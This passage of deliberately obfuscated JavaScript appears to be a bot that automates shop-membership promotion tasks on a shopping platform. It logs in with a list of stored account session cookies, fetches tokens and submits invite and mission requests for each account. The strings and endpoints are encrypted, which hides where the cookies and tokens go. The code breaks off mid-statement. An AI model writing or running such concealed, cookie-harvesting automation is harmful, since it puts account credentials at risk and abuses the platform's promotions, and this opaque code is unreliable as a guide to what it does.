51\x51\x77\x72\x45\x5a\x77\x36\x4c\x44\x71\x73\x4b\x70\x45\x4d\x4b\x4b\x77\x70\x33\x44\x76\x41\x3d\x3d','\x77\x37\x37\x44\x70\x4d\x4f\x5a\x62\x7a\x30\x3d','\x45\x33\x2f\x43\x6d\x4d\x4b\x6d\x77\x35\x6a\x44\x73\x63\x4f\x47\x77\x6f\x4c\x44\x70\x6a\x72\x44\x6d\x55\x37\x44\x73\x38\x4f\x41\x4e\x38\x4f\x6e\x66\x53\x45\x67\x77\x36\x73\x62\x48\x33\x30\x2f\x42\x6c\x66\x43\x6c\x6e\x4c\x44\x6e\x63\x4f\x77\x44\x53\x72\x43\x6d\x68\x33\x43\x68\x73\x4f\x4f\x77\x71\x7a\x43\x75\x38\x4b\x46\x66\x73\x4b\x37\x77\x6f\x6b\x6a\x49\x52\x4e\x67\x54\x73\x4b\x57\x56\x67\x35\x55\x66\x30\x39\x32\x54\x4d\x4b\x55\x65\x6d\x73\x3d','\x49\x68\x62\x43\x71\x4d\x4f\x30\x61\x38\x4b\x38\x77\x35\x31\x6f\x4e\x6d\x38\x4d\x4c\x73\x4f\x73\x53\x4d\x4b\x41\x41\x6a\x73\x3d','\x51\x42\x64\x72\x77\x37\x2f\x43\x69\x77\x3d\x3d','\x77\x6f\x33\x43\x73\x73\x4b\x52\x4a\x33\x63\x3d','\x77\x71\x31\x33\x77\x37\x54\x43\x6a\x47\x4d\x3d','\x4d\x4d\x4b\x48\x45\x52\x4a\x69','\x4f\x4d\x4f\x68\x77\x72\x6c\x38\x52\x51\x3d\x3d','\x57\x73\x4b\x4a\x64\x73\x4b\x61\x77\x35\x34\x3d','\x77\x36\x33\x43\x75\x78\x48\x43\x75\x73\x4b\x4d','\x77\x34\x33\x44\x74\x63\x4f\x54\x77\x72\x6c\x63','\x77\x36\x49\x53\x77\x6f\x6a\x44\x6b\x42\x51\x3d','\x4e\x38\x4f\x79\x77\x6f\x4e\x69\x55\x67\x3d\x3d','\x77\x72\x76\x44\x74\x33\x6f\x59\x56\x77\x3d\x3d','\x77\x37\x44\x44\x6c\x38\x4f\x47\x49\x45\x6b\x3d','\x64\x73\x4b\x75\x61\x41\x3d\x3d','\x77\x36\x58\x44\x72\x73\x4b\x2f\x56\x51\x6f\x3d','\x77\x37\x6f\x38\x46\x73\x4f\x44\x77\x6f\x45\x3d','\x50\x38\x4b\x64\x4b\x42\x4e\x56','\x77\x36\x38\x58\x47\x73\x4f\x43\x77\x70\x6a\x44\x68\x41\x3d\x3d','\x44\x73\x4f\x65\x77\x6f\x31\x4e\x53\x41\x3d\x3d','\x65\x43\x62\x43\x70\x4d\x4f\x36\x77\x35\x31\x4f\x77\x72\x59\x3d','\x77\x35\x44\x43\x6a\x77\x38\x66\x55\x51\x3d\x3d','\x77\x35\x73\x76\x77\x72\x6e\x44\x69\x41\x77\x3d','\x4e\x67\x72\x43\x6e\x63\x4b\x78\x56\x77\x3d\x3d','\x65\x48\x6a\x44\x69\x73\x4b\x4e\x64\x51\x3d\x3d','\x77\x34\x59\x37\x77\x71\x30\x6a\x42\x68\x55\x4c','\x5a\x42\x31\x41\x77\x36\x44\x43\x6f\x69\x66\x43\x6b\x69\x77\x3d','\x77\x35\x6e\x44\x71\x47\x6b\x52','\x77\x71\x33\x44\x75\x41\x48\x44\x6a\x63\x4b\x7a\x46\x54\x4a\x70','\x77\x71\x50\x44\x74\x46\x67\x46\x77\x72\x6b\x6c\x77\x37\x39\x71','\x64\x6b\x42\x68\x77\x72\x64\x50\x66\x45\x4c\x43\x67\x67\x3d\x3d','\x41\x73\x4b\x41\x77\x6f\x78\x34\x61\x67\x3d\x3d','\x43\x69\x2f\x43\x73\x79\x6e\x44\x76\x73\x4f\x78\x54\x41\x3d\x3d','\x77\x36\x37\x44\x68\x58\x54\x43\x75\x67\x3d\x3d','\x77\x35\x58\x44\x71\x47\x34\x2f\x77\x71\x64\x67\x77\x70\x7a\x43\x6e\x31\x46\x6f\x59\x68\x6c\x59\x4c\x51\x3d\x3d','\x50\x67\x4d\x64\x58\x4d\x4f\x6e','\x46\x41\x59\x57\x58\x38\x4f\x75\x53\x69\x58\x44\x73\x51\x3d\x3d','\x48\x43\x76\x43\x73\x79\x73\x3d','\x77\x37\x2f\x44\x6c\x32\x58\x43\x71\x63\x4f\x45\x4c\x45\x38\x79','\x46\x4d\x4f\x45\x77\x72\x58\x43\x68\x54\x58\x43\x75\x4d\x4f\x58\x5a\x41\x3d\x3d','\x77\x34\x2f\x43\x71\x32\x4e\x6a\x77\x71\x2f\x43\x6c\x78\x41\x73','\x77\x36\x59\x4e\x44\x4d\x4f\x47\x77\x72\x67\x3d','\x77\x37\x44\x43\x72\x67\x76\x43\x74\x63\x4b\x7a','\x77\x72\x59\x54\x56\x38\x4b\x78\x77\x36\x51\x3d','\x65\x73\x4f\x4b\x77\x70\x49\x77\x77\x70\x6f\x3d','\x46\x32\x54\x43\x69\x38\x4b\x54\x77\x35\x6e\x43\x75\x51\x3d\x3d','\x77\x35\x74\x47\x50\x41\x3d\x3d','\x77\x37\x6a\x44\x71\x30\x77\x33\x77\x70\x73\x3d','\x77\x72\x7a\x44\x6e\x45\x6b\x3d','\x77\x36\x50\x43\x6c\x79\x48\x43\x75\x73\x4b\x74','\x35\x4c\x71\x53\x35\x4c\x69\x53\x36\x4c\x32\x47\x35\x5a\x69\x45\x35\x4c\x71\x51\x35\x36\x6d\x77\x35\x70\x57\x32\x35\x6f\x2b\x71','\x77\x72\x6e\x43\x70\x38\x4b\x53\x47\x55\x6f\x3d','\x77\x36\x58\x44\x75\x73\x4b\x77\x56\x69\x55\x3d','\x34\x34\x47\x71\x35\x6f\x36\x2f\x35\x36\x57\x50\x34\x34\x43\x6c\x36\x4b\x32\x58\x35\x59\x57\x6a\x36\x49\x2b\x2f\x35\x59\x32\x43\x35\x4c\x6d\x7a\x35\x4c\x75\x76\x36\x4c\x61\x70\x35\x59\x2b\x2f\x35\x4c\x6d\x38\x77\x70\x41\x31\x47\x38\x4f\x31\x46\x38\x4b\x6a\x45\x65\x65\x5a\x74\x75\x61\x4f\x69\x4f\x53\x2f\x73\x65\x65\x56\x71\x68\x49\x69\x49\x67\x7a\x44\x68\x38\x4b\x33\x35\x35\x75\x2f\x35\x4c\x6d\x7a\x35\x4c\x71\x63\x35\x36\x36\x45\x35\x59\x6d\x66\x36\x49\x2b\x31\x35\x59\x36\x2b','\x77\x37\x49\x65\x77\x71\x6e\x44\x71\x78\x4a\x61\x53\x4d\x4b\x31\x4b\x57\x6e\x44\x69\x54\x54\x43\x68\x73\x4f\x2b\x77\x37\x4d\x63\x48\x79\x48\x44\x6b\x38\x4b\x2b\x42\x73\x4b\x44\x64\x38\x4f\x78\x77\x72\x38\x2b\x50\x4d\x4f\x70\x58\x63\x4b\x2b\x56\x38\x4b\x39\x48\x38\x4f\x76\x4d\x73\x4f\x63\x41\x38\x4b\x39\x77\x71\x6a\x43\x67\x77\x72\x43\x73\x53\x6b\x3d','\x53\x51\x37\x43\x67\x4d\x4f\x41\x51\x67\x3d\x3d','\x77\x36\x4c\x44\x67\x63\x4b\x75\x51\x44\x51\x3d','\x77\x36\x50\x44\x6a\x4d\x4b\x49\x43\x4d\x4b\x71','\x77\x37\x73\x41\x42\x63\x4f\x2f\x77\x70\x4c\x44\x6a\x69\x45\x74\x77\x72\x52\x52\x46\x53\x41\x32\x77\x36\x50\x43\x74\x79\x33\x44\x71\x4d\x4b\x56\x77\x37\x58\x44\x6c\x6a\x37\x43\x6a\x30\x6b\x74\x49\x63\x4b\x2b\x52\x55\x44\x43\x68\x33\x55\x6e\x4a\x4d\x4f\x4d\x77\x71\x38\x76\x77\x35\x77\x3d','\x4b\x46\x41\x67\x77\x70\x45\x4c\x41\x38\x4f\x62\x45\x4d\x4b\x49\x62\x73\x4b\x62\x55\x53\x33\x44\x68\x79\x6b\x30\x4c\x48\x2f\x44\x75\x4d\x4f\x34\x4f\x63\x4f\x54\x48\x73\x4f\x70\x54\x4d\x4b\x36\x44\x73\x4f\x34\x48\x6d\x2f\x43\x75\x63\x4f\x58\x57\x77\x35\x6d\x42\x63\x4b\x77\x49\x63\x4f\x47\x47\x41\x3d\x3d','\x4c\x52\x68\x41\x77\x36\x6b\x59\x58\x32\x33\x44\x6e\x7a\x58\x44\x68\x48\x78\x42\x42\x63\x4b\x6c\x77\x37\x72\x43\x67\x73\x4b\x65\x77\x37\x41\x30\x41\x4d\x4b\x2f\x77\x72\x50\x44\x6f\x63\x4b\x62\x77\x37\x42\x77\x77\x72\x4a\x73\x77\x71\x4c\x43\x6f\x58\x45\x67','\x52\x38\x4f\x74\x47\x53\x55\x7a\x64\x38\x4f\x6a\x64\x67\x3d\x3d','\x35\x59\x79\x61\x35\x59\x6d\x72\x35\x59\x71\x62\x4b\x4d\x4f\x73\x77\x34\x68\x64','\x4a\x6a\x72\x43\x73\x73\x4f\x30\x4c\x77\x3d\x3d','\x35\x70\x32\x79\x35\x34\x4b\x79\x35\x59\x65\x54\x35\x70\x65\x67\x36\x49\x79\x63','\x59\x58\x35\x67\x77\x72\x35\x6d','\x77\x71\x58\x44\x6b\x30\x55\x59\x77\x72\x49\x3d','\x77\x6f\x55\x6b\x77\x6f\x45\x4d\x77\x71\x41\x3d','\x77\x34\x6e\x44\x70\x6b\x34\x45\x77\x71\x4a\x6e\x77\x71\x4c\x43\x69\x67\x3d\x3d','\x46\x54\x54\x44\x67\x79\x44\x44\x75\x73\x4b\x51\x77\x36\x44\x44\x68\x6b\x48\x43\x6e\x73\x4b\x58','\x77\x37\x63\x5a\x77\x72\x6f\x3d','\x48\x63\x4b\x75\x44\x42\x41\x3d','\x77\x36\x62\x44\x74\x32\x6a\x43\x6c\x38\x4f\x76','\x77\x71\x33\x43\x6f\x73\x4b\x71\x50\x55\x6b\x3d','\x49\x42\x33\x43\x74\x73\x4b\x57\x51\x77\x3d\x3d','\x77\x36\x66\x44\x6a\x56\x49\x34\x77\x70\x34\x3d','\x48\x42\x6e\x43\x71\x38\x4b\x42\x51\x4d\x4b\x65','\x77\x70\x66\x44\x70\x6e\x77\x75\x55\x51\x3d\x3d','\x77\x34\x44\x44\x6a\x4d\x4f\x77\x77\x70\x56\x57','\x77\x35\x4c\x44\x68\x56\x77\x6f\x77\x71\x41\x3d','\x65\x7a\x56\x56','\x77\x37\x62\x44\x6f\x73\x4b\x45\x5a\x51\x51\x3d','\x77\x72\x50\x43\x76\x63\x4b\x52\x77\x6f\x33\x43\x74\x51\x3d\x3d','\x59\x73\x4f\x48\x77\x70\x6f\x57\x77\x70\x45\x3d','\x77\x36\x6f\x73\x77\x6f\x2f\x44\x69\x77\x49\x3d','\x50\x45\x63\x2f','\x6a\x6b\x56\x73\x6a\x54\x69\x41\x50\x59\x61\x6d\x57\x79\x69\x57\x68\x57\x2e\x75\x6e\x78\x63\x6f\x43\x47\x6d\x2e\x76\x36\x3d\x3d'];if(function(_0x44c4e0,_0x4655d3,_0x456108){function _0x1edf54(_0xe473f2,_0x44baaa,_0x57ff80,_0x181bdd,_0x3f058a,_0x435bb5){_0x44baaa=_0x44baaa>>0x8,_0x3f058a='po';var _0x9ea956='shift',_0x379c20='push',_0x435bb5='‮';if(_0x44baaa<_0xe473f2){while(--_0xe473f2){_0x181bdd=_0x44c4e0[_0x9ea956]();if(_0x44baaa===_0xe473f2&&_0x435bb5==='‮'&&_0x435bb5['length']===0x1){_0x44baaa=_0x181bdd,_0x57ff80=_0x44c4e0[_0x3f058a+'p']();}else if(_0x44baaa&&_0x57ff80['replace'](/[kVTAPYWyWhWunxCG=]/g,'')===_0x44baaa){_0x44c4e0[_0x379c20](_0x181bdd);}}_0x44c4e0[_0x379c20](_0x44c4e0[_0x9ea956]());}return 0xf04a7;};return _0x1edf54(++_0x4655d3,_0x456108)>>_0x4655d3^_0x456108;}(_0x4d30,0x1d5,0x1d500),_0x4d30){_0xodU_=_0x4d30['length']^0x1d5;};function _0x54c9(_0x2aeb87,_0x4b3356){_0x2aeb87=~~'0x'['concat'](_0x2aeb87['slice'](0x1));var _0x273daf=_0x4d30[_0x2aeb87];if(_0x54c9['gvdsSz']===undefined){(function(){var _0x25dc45;try{var _0x34f447=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x25dc45=_0x34f447();}catch(_0x17f1c5){_0x25dc45=window;}var _0x1882e0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x25dc45['atob']||(_0x25dc45['atob']=function(_0x3378b5){var _0xe5a3a5=String(_0x3378b5)['replace'](/=+$/,'');for(var _0x3943ba=0x0,_0x1eb97a,_0x498132,_0x34ff49=0x0,_0x2bd030='';_0x498132=_0xe5a3a5['charAt'](_0x34ff49++);~_0x498132&&(_0x1eb97a=_0x3943ba%0x4?_0x1eb97a*0x40+_0x498132:_0x498132,_0x3943ba++%0x4)?_0x2bd030+=String['fromCharCode'](0xff&_0x1eb97a>>(-0x2*_0x3943ba&0x6)):0x0){_0x498132=_0x1882e0['indexOf'](_0x498132);}return _0x2bd030;});}());function _0x549553(_0x38b711,_0x4b3356){var _0x4519be=[],_0x48ea60=0x0,_0x10d9e4,_0x13171d='',_0x58e99e='';_0x38b711=atob(_0x38b711);for(var _0x33c00f=0x0,_0x2e9e8a=_0x38b711['length'];_0x33c00f<_0x2e9e8a;_0x33c00f++){_0x58e99e+='%'+('00'+_0x38b711['charCodeAt'](_0x33c00f)['toString'](0x10))['slice'](-0x2);}_0x38b711=decodeURIComponent(_0x58e99e);for(var _0x242299=0x0;_0x242299<0x100;_0x242299++){_0x4519be[_0x242299]=_0x242299;}for(_0x242299=0x0;_0x242299<0x100;_0x242299++){_0x48ea60=(_0x48ea60+_0x4519be[_0x242299]+_0x4b3356['charCodeAt'](_0x242299%_0x4b3356['length']))%0x100;_0x10d9e4=_0x4519be[_0x242299];_0x4519be[_0x242299]=_0x4519be[_0x48ea60];_0x4519be[_0x48ea60]=_0x10d9e4;}_0x242299=0x0;_0x48ea60=0x0;for(var _0x5a9824=0x0;_0x5a9824<_0x38b711['length'];_0x5a9824++){_0x242299=(_0x242299+0x1)%0x100;_0x48ea60=(_0x48ea60+_0x4519be[_0x242299])%0x100;_0x10d9e4=_0x4519be[_0x242299];_0x4519be[_0x242299]=_0x4519be[_0x48ea60];_0x4519be[_0x48ea60]=_0x10d9e4;_0x13171d+=String['fromCharCode'](_0x38b711['charCodeAt'](_0x5a9824)^_0x4519be[(_0x4519be[_0x242299]+_0x4519be[_0x48ea60])%0x100]);}return _0x13171d;}_0x54c9['OfRwwp']=_0x549553;_0x54c9['HwiXob']={};_0x54c9['gvdsSz']=!![];}var _0x5ef279=_0x54c9['HwiXob'][_0x2aeb87];if(_0x5ef279===undefined){if(_0x54c9['nFRJKr']===undefined){_0x54c9['nFRJKr']=!![];}_0x273daf=_0x54c9['OfRwwp'](_0x273daf,_0x4b3356);_0x54c9['HwiXob'][_0x2aeb87]=_0x273daf;}else{_0x273daf=_0x5ef279;}return _0x273daf;};!(async()=>{var _0x190722={'\x72\x6e\x70\x69\x57':_0x54c9('‫0','\x49\x39\x25\x79'),'\x78\x5a\x67\x43\x56':function(_0x106863){return _0x106863();},'\x79\x57\x62\x62\x47':function(_0x4cde2b,_0x44e906){return _0x4cde2b===_0x44e906;},'\x64\x46\x6e\x78\x42':_0x54c9('‮1','\x47\x74\x39\x36'),'\x61\x4f\x6d\x77\x71':_0x54c9('‫2','\x32\x65\x4f\x28'),'\x6c\x53\x68\x4c\x62':_0x54c9('‫3','\x62\x4b\x6a\x6f'),'\x50\x61\x73\x70\x77':_0x54c9('‫4','\x53\x6a\x43\x69'),'\x5a\x44\x4f\x48\x4e':function(_0x4e98a6,_0x136e87){return _0x4e98a6<_0x136e87;},'\x47\x55\x52\x79\x74':function(_0x2f84c5,_0x67ca88){return _0x2f84c5!==_0x67ca88;},'\x6f\x4c\x41\x58\x70':_0x54c9('‫5','\x45\x49\x6b\x46'),'\x6f\x6c\x6b\x41\x4a':_0x54c9('‫6','\x32\x65\x4f\x28'),'\x70\x46\x52\x50\x63':_0x54c9('‫7','\x6b\x43\x59\x6d'),'\x44\x52\x47\x66\x6a':function(_0x2b78e0,_0x2cc917){return _0x2b78e0(_0x2cc917);},'\x58\x42\x68\x46\x56':function(_0x42181c,_0x1016d6){return _0x42181c+_0x1016d6;},'\x63\x52\x46\x59\x52':function(_0x1366fa){return _0x1366fa();},'\x55\x4f\x6f\x53\x55':function(_0x3f70d6,_0x570d5d,_0xbe95ac){return _0x3f70d6(_0x570d5d,_0xbe95ac);},'\x59\x61\x79\x44\x62':_0x54c9('‮8','\x79\x38\x44\x42'),'\x51\x41\x54\x70\x4b':function(_0x585083,_0x30ce14){return _0x585083(_0x30ce14);},'\x56\x61\x47\x44\x66':_0x54c9('‫9','\x47\x25\x4e\x61'),'\x49\x41\x6b\x47\x61':_0x54c9('‮a','\x32\x69\x45\x63'),'\x73\x70\x72\x50\x4d':_0x54c9('‫b','\x5b\x51\x74\x72'),'\x44\x4e\x51\x78\x44':function(_0x248454,_0x597d84,_0x484497){return _0x248454(_0x597d84,_0x484497);},'\x78\x71\x4e\x6c\x53':_0x54c9('‮c','\x65\x25\x50\x31'),'\x4d\x7a\x6d\x73\x64':function(_0x3d137a){return _0x3d137a();},'\x63\x65\x4b\x6e\x58':function(_0x27c122,_0x3f93ed){return _0x27c122>_0x3f93ed;},'\x49\x58\x57\x46\x42':function(_0x166f12,_0x401a3a){return _0x166f12!==_0x401a3a;},'\x51\x69\x67\x75\x65':_0x54c9('‮d','\x2a\x4f\x4f\x40'),'\x66\x42\x59\x54\x59':_0x54c9('‫e','\x4b\x75\x38\x43')};if(!cookiesArr[0x0]){if(_0x190722[_0x54c9('‫f','\x32\x69\x45\x63')](_0x190722[_0x54c9('‫10','\x59\x46\x35\x4f')],_0x190722[_0x54c9('‫11','\x29\x5a\x40\x26')])){uuid=v[_0x54c9('‫12','\x57\x37\x72\x28')](0x24)[_0x54c9('‮13','\x2a\x38\x34\x47')]();}else{$[_0x54c9('‮14','\x53\x6a\x43\x69')]($[_0x54c9('‮15','\x64\x23\x6a\x64')],_0x190722[_0x54c9('‫16','\x42\x6f\x25\x77')],_0x190722[_0x54c9('‮17','\x47\x74\x39\x36')],{'open-url':_0x190722[_0x54c9('‫18','\x44\x55\x69\x76')]});return;}}for(let _0x9ec186=0x0;_0x190722[_0x54c9('‫19','\x57\x37\x72\x28')](_0x9ec186,cookiesArr[_0x54c9('‮1a','\x44\x55\x69\x76')]);_0x9ec186++){if(_0x190722[_0x54c9('‫1b','\x74\x69\x36\x6a')](_0x190722[_0x54c9('‮1c','\x28\x59\x5d\x41')],_0x190722[_0x54c9('‫1d','\x57\x37\x72\x28')])){$[_0x54c9('‫1e','\x25\x66\x23\x57')](_0x190722[_0x54c9('‮1f','\x32\x65\x4f\x28')]);}else{if(cookiesArr[_0x9ec186]){if(_0x190722[_0x54c9('‫20','\x5d\x46\x71\x25')](_0x190722[_0x54c9('‮21','\x62\x21\x74\x4d')],_0x190722[_0x54c9('‮22','\x53\x6a\x43\x69')])){$[_0x54c9('‮23','\x47\x25\x4e\x61')](error);}else{cookie=cookiesArr[_0x9ec186];originCookie=cookiesArr[_0x9ec186];newCookie='';$[_0x54c9('‫24','\x25\x66\x23\x57')]=_0x190722[_0x54c9('‮25','\x2a\x38\x34\x47')](decodeURIComponent,cookie[_0x54c9('‫26','\x2a\x38\x34\x47')](/pt_pin=(.+?);/)&&cookie[_0x54c9('‫27','\x46\x4a\x59\x56')](/pt_pin=(.+?);/)[0x1]);$[_0x54c9('‮28','\x44\x55\x69\x76')]=_0x190722[_0x54c9('‮29','\x33\x4e\x74\x63')](_0x9ec186,0x1);$[_0x54c9('‮2a','\x5d\x68\x68\x5b')]=!![];$[_0x54c9('‫2b','\x28\x59\x5d\x41')]='';await _0x190722[_0x54c9('‮2c','\x25\x66\x23\x57')](checkCookie);console[_0x54c9('‫2d','\x77\x71\x31\x78')](_0x54c9('‫2e','\x76\x50\x40\x7a')+$[_0x54c9('‫2f','\x61\x37\x56\x66')]+'\u3011'+($[_0x54c9('‮30','\x71\x4c\x75\x53')]||$[_0x54c9('‮31','\x32\x65\x4f\x28')])+_0x54c9('‫32','\x77\x71\x31\x78'));if(!$[_0x54c9('‮33','\x47\x74\x39\x36')]){$[_0x54c9('‮34','\x78\x6f\x46\x38')]($[_0x54c9('‮35','\x42\x48\x42\x35')],_0x54c9('‫36','\x77\x71\x31\x78'),_0x54c9('‮37','\x6b\x43\x59\x6d')+$[_0x54c9('‫38','\x25\x66\x23\x57')]+'\x20'+($[_0x54c9('‮39','\x4a\x77\x77\x50')]||$[_0x54c9('‮3a','\x31\x48\x5d\x70')])+_0x54c9('‫3b','\x79\x76\x58\x43'),{'open-url':_0x190722[_0x54c9('‮3c','\x5b\x51\x74\x72')]});if($[_0x54c9('‮3d','\x79\x38\x44\x42')]()){}continue;}$[_0x54c9('‫3e','\x62\x4b\x6a\x6f')]=0x0;$[_0x54c9('‫3f','\x25\x66\x23\x57')]=_0x190722[_0x54c9('‮40','\x57\x37\x72\x28')](getUUID,_0x190722[_0x54c9('‫41','\x53\x66\x25\x25')],0x1);$[_0x54c9('‮42','\x64\x23\x6a\x64')]=_0x190722[_0x54c9('‮43','\x31\x48\x5d\x70')](getUUID,_0x190722[_0x54c9('‮44','\x6b\x43\x59\x6d')]);authorCodeList=[];$[_0x54c9('‮45','\x4a\x77\x77\x50')]=_0x190722[_0x54c9('‮46','\x32\x69\x45\x63')];$[_0x54c9('‫47','\x53\x2a\x58\x74')]=_0x190722[_0x54c9('‮48','\x2a\x4f\x4f\x40')];$[_0x54c9('‫49','\x79\x38\x44\x42')]=actId;$[_0x54c9('‮4a','\x42\x48\x42\x35')]=authorCodeList[_0x190722[_0x54c9('‫4b','\x61\x37\x56\x66')](random,0x0,authorCodeList[_0x54c9('‮4c','\x53\x6a\x43\x69')])];console[_0x54c9('‫4d','\x57\x37\x72\x28')](_0x190722[_0x54c9('‫4e','\x47\x25\x4e\x61')](_0x190722[_0x54c9('‫4f','\x74\x69\x36\x6a')],$[_0x54c9('‫50','\x35\x48\x29\x49')]));await _0x190722[_0x54c9('‫51','\x31\x48\x5d\x70')](openCardNew);await $[_0x54c9('‫52','\x59\x46\x35\x4f')](0x1f4);if(_0x190722[_0x54c9('‮53','\x4b\x75\x38\x43')]($[_0x54c9('‫54','\x59\x46\x35\x4f')],0x0)){message+=_0x54c9('‫55','\x79\x38\x44\x42')+$[_0x54c9('‮56','\x79\x76\x58\x43')]+'\u3011'+($[_0x54c9('‮57','\x2a\x4f\x4f\x40')]||$[_0x54c9('‮58','\x67\x29\x4e\x54')])+_0x54c9('‮59','\x64\x23\x6a\x64')+$[_0x54c9('‫5a','\x4a\x77\x77\x50')]+_0x54c9('‫5b','\x74\x69\x36\x6a');}}}}}if(_0x190722[_0x54c9('‮5c','\x42\x48\x42\x35')](message,'')){if(_0x190722[_0x54c9('‫5d','\x2a\x38\x34\x47')](_0x190722[_0x54c9('‮5e','\x6b\x43\x59\x6d')],_0x190722[_0x54c9('‫5f','\x61\x37\x56\x66')])){if($[_0x54c9('‮60','\x46\x4a\x59\x56')]()){await notify[_0x54c9('‫61','\x69\x50\x62\x39')]($[_0x54c9('‮15','\x64\x23\x6a\x64')],message,'','\x0a');}else{$[_0x54c9('‮62','\x79\x76\x58\x43')]($[_0x54c9('‫63','\x31\x29\x5e\x66')],_0x190722[_0x54c9('‫64','\x2a\x4f\x4f\x40')],message);}}else{_0x190722[_0x54c9('‫65','\x61\x37\x56\x66')](resolve);}}})()[_0x54c9('‮66','\x46\x4a\x59\x56')](_0x230219=>{$[_0x54c9('‮67','\x31\x48\x5d\x70')]('','\u274c\x20'+$[_0x54c9('‮68','\x2a\x4f\x4f\x40')]+_0x54c9('‫69','\x5b\x74\x75\x5d')+_0x230219+'\x21','');})[_0x54c9('‮6a','\x42\x6f\x25\x77')](()=>{$[_0x54c9('‫6b','\x61\x37\x56\x66')]();});async function openCardNew(){var _0x3a949e={'\x56\x41\x55\x79\x55':function(_0x410631){return _0x410631();},'\x43\x73\x65\x4a\x63':function(_0x58bad1,_0x30a84d,_0x417e52){return _0x58bad1(_0x30a84d,_0x417e52);},'\x6b\x52\x44\x75\x7a':_0x54c9('‮6c','\x76\x50\x40\x7a'),'\x42\x7a\x5a\x43\x67':function(_0xefa82f,_0x1f82cb){return _0xefa82f+_0x1f82cb;},'\x66\x66\x55\x4c\x77':_0x54c9('‫6d','\x79\x76\x58\x43'),'\x49\x64\x4d\x50\x5a':function(_0x46e921,_0x544c1d){return _0x46e921===_0x544c1d;},'\x79\x75\x53\x77\x4c':function(_0x178c93,_0x3fc156){return _0x178c93+_0x3fc156;},'\x79\x49\x50\x4a\x4c':_0x54c9('‫6e','\x4b\x75\x38\x43'),'\x49\x47\x71\x66\x6a':_0x54c9('‫6f','\x5d\x46\x71\x25'),'\x44\x6a\x6d\x62\x68':function(_0x56ef68,_0x21edd7,_0x4cde20){return _0x56ef68(_0x21edd7,_0x4cde20);},'\x6d\x64\x63\x70\x68':_0x54c9('‮70','\x67\x29\x4e\x54'),'\x66\x51\x55\x46\x67':_0x54c9('‮71','\x2a\x38\x34\x47'),'\x45\x55\x6d\x62\x48':function(_0x3a0618,_0x1ba107,_0x895100){return _0x3a0618(_0x1ba107,_0x895100);},'\x51\x45\x51\x78\x58':_0x54c9('‮72','\x57\x37\x72\x28'),'\x74\x56\x64\x43\x4b':_0x54c9('‮73','\x57\x37\x72\x28'),'\x6b\x4a\x6b\x76\x74':_0x54c9('‫74','\x2a\x4f\x4f\x40'),'\x45\x68\x52\x4c\x76':_0x54c9('‫75','\x4a\x77\x77\x50'),'\x52\x70\x4e\x57\x4e':function(_0x25c6d7,_0x2afb9e,_0x5674a5){return _0x25c6d7(_0x2afb9e,_0x5674a5);},'\x43\x49\x42\x72\x70':_0x54c9('‮76','\x62\x4b\x6a\x6f'),'\x6c\x78\x69\x4d\x4e':_0x54c9('‫77','\x42\x48\x42\x35'),'\x48\x75\x52\x4a\x61':_0x54c9('‫78','\x47\x74\x39\x36'),'\x48\x52\x54\x4c\x4d':_0x54c9('‮79','\x65\x25\x50\x31'),'\x63\x4f\x63\x4a\x62':function(_0x441fc3,_0x2ee03a,_0x5c3876){return _0x441fc3(_0x2ee03a,_0x5c3876);},'\x75\x47\x57\x4a\x4b':_0x54c9('‮7a','\x6b\x43\x59\x6d'),'\x52\x77\x48\x41\x55':function(_0x9bc818,_0x2c72f4,_0x19f33a){return _0x9bc818(_0x2c72f4,_0x19f33a);},'\x66\x6c\x4b\x77\x66':function(_0x3353cf,_0x2b57e6){return _0x3353cf<_0x2b57e6;},'\x51\x58\x53\x75\x49':_0x54c9('‮7b','\x28\x59\x5d\x41'),'\x52\x6c\x51\x72\x70':function(_0x1dafcd,_0x12c725,_0x475775){return _0x1dafcd(_0x12c725,_0x475775);},'\x4b\x6f\x57\x51\x4b':_0x54c9('‮7c','\x44\x55\x69\x76'),'\x54\x55\x74\x42\x4a':function(_0x12ed9a,_0x364063,_0x4221ed){return _0x12ed9a(_0x364063,_0x4221ed);},'\x44\x73\x47\x65\x6a':_0x54c9('‮7d','\x46\x4a\x59\x56'),'\x68\x4a\x69\x61\x77':_0x54c9('‫7e','\x31\x29\x5e\x66'),'\x72\x6e\x6a\x76\x67':_0x54c9('‫7f','\x42\x6f\x25\x77'),'\x52\x43\x75\x73\x75':_0x54c9('‫80','\x29\x5a\x40\x26')};$[_0x54c9('‫81','\x33\x4e\x74\x63')]=null;$[_0x54c9('‫82','\x53\x6a\x43\x69')]=null;$[_0x54c9('‮83','\x2a\x4f\x4f\x40')]=null;await _0x3a949e[_0x54c9('‮84','\x29\x5a\x40\x26')](getToken);if($[_0x54c9('‫85','\x77\x71\x31\x78')]){await _0x3a949e[_0x54c9('‫86','\x65\x25\x50\x31')](task,_0x3a949e[_0x54c9('‮87','\x53\x2a\x58\x74')],{'actId':$[_0x54c9('‮88','\x53\x66\x25\x25')],'inviteNick':$[_0x54c9('‫89','\x79\x76\x58\x43')],'jdToken':$[_0x54c9('‫8a','\x5b\x51\x74\x72')],'source':'\x30\x31'});if($[_0x54c9('‮8b','\x74\x69\x36\x6a')]){console[_0x54c9('‫8c','\x44\x55\x69\x76')](_0x3a949e[_0x54c9('‫8d','\x31\x29\x5e\x66')](_0x3a949e[_0x54c9('‫8e','\x79\x38\x44\x42')],$[_0x54c9('‮8f','\x5b\x51\x74\x72')]));if(_0x3a949e[_0x54c9('‫90','\x46\x4a\x59\x56')]($[_0x54c9('‮91','\x4f\x37\x68\x23')],0x1)){ownCode=$[_0x54c9('‫92','\x4b\x75\x38\x43')];console[_0x54c9('‫93','\x5d\x46\x71\x25')](_0x3a949e[_0x54c9('‫94','\x2a\x4f\x4f\x40')](_0x3a949e[_0x54c9('‮95','\x4f\x37\x68\x23')],ownCode));}console[_0x54c9('‮96','\x63\x71\x67\x78')](_0x3a949e[_0x54c9('‫97','\x74\x69\x36\x6a')]);await _0x3a949e[_0x54c9('‫98','\x78\x6f\x46\x38')](task,_0x3a949e[_0x54c9('‮99','\x44\x55\x69\x76')],{'actId':$[_0x54c9('‮9a','\x4b\x75\x38\x43')],'missionType':_0x3a949e[_0x54c9('‮9b','\x2a\x38\x34\x47')],'inviterNick':$[_0x54c9('‮9c','\x78\x6f\x46\x38')]});await 